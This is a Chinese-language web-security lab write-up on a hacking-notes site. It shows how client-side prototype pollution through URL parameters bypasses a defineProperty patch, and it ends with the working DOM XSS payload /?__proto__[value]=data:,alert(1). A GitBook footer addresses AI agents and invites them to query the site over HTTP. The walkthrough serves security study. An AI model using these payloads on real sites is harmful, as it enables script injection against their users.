> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# 通过浏览器 API 的客户端原型污染

### 使用浏览器 API 的客户端原型污染

#### 实验上下文

这个实验存在一种 **DOM XSS** 通过一个 **客户端原型污染**。/ 开发者已经识别出一个潜在的 gadget 并尝试修复它，但仍然可能 **绕过补丁**.

目标：

* 找到一个 **源** 向……添加任意属性的 `Object.prototype`
* 识别一个 **gadget 属性** 导致 JavaScript 执行
* 将两者结合以触发 `alert()`

### 1) 来源： `Object.prototype` 通过 URL 进行污染

#### 从查询字符串注入

通过 URL 测试污染：

```javascript
/?__proto__[foo]=bar
```

#### 在控制台中控制

在浏览器控制台中：

```javascript
console.log({}.foo)
```

结果： `bar`/ 这证实了可以向全局原型注入一个属性。

<figure><img src="/files/1b67271225d05384d74dd1b31aec448e35cee550" alt=""><figcaption></figcaption></figure>

### 2) 理解影响：改变对象的行为

通过对象修改原型的示例：

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/bb89b313e09f59281ad978b6ea0b0a6bfde7ee3e" alt=""><figcaption></figcaption></figure>

然后：

```bash
console.log({}.country)
```

所有对象现在都会继承 `country`，这显示了污染的整体影响。

<figure><img src="/files/866e098662d25f6e64a2a68232e8e12332dcb7c8" alt=""><figcaption></figcaption></figure>

### 3) Gadget：通过继承的属性动态加载脚本

值得关注的文件是：

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("存储查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### 脚本关键行为（摘要）

* 它构建了一个对象 `config` 包含：
* `params` （来自 URL）
* `transport_url` 初始化为 `false`
* 它将 `config.transport_url` 替换为 `Object.defineProperty(... configurable:false, writable:false)`
* 然后：
* 如果 `config.transport_url` 为真 → 它会创建一个 `<script>` 并使 `script.src = config.transport_url`

#### 为什么在打补丁后它仍然有效？

就像 `transport_url` \*\*并没有真正定义为一个可用的值\*\*，代码可以去 **查找从原型继承而来的值** （被污染的）。

因此，如果我们向 `Object.prototype`注入正确的属性，它就会被用作脚本来源。

### 4) 利用：强制 `script.src` 通过原型

#### 步骤 1：证明这个 gadget

通过注入：

```bash
/?__proto__[value]=bar
```

浏览器会生成：

```javascript
<script src="bar"></script>
```

<figure><img src="/files/6e4856e0a7d6638bb20473aad018318c2da544d3" alt=""><figcaption></figcaption></figure>

`src` 是可控的。

#### 步骤 2：通过一个……运行 JS `data:` URL

最终载荷：

```javascript
/?__proto__[value]=data:,alert(1)
```

观察到的结果：

```javascript
<script src="data:,alert(1)"><div></div></script>
```

浏览器会解析 `data:,alert(1)` 并执行 `alert(1)`: **成功实现 DOM XSS**.

<figure><img src="/files/2da4aa5bd26a97b86604a4eff30b2b35fd62ab4c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
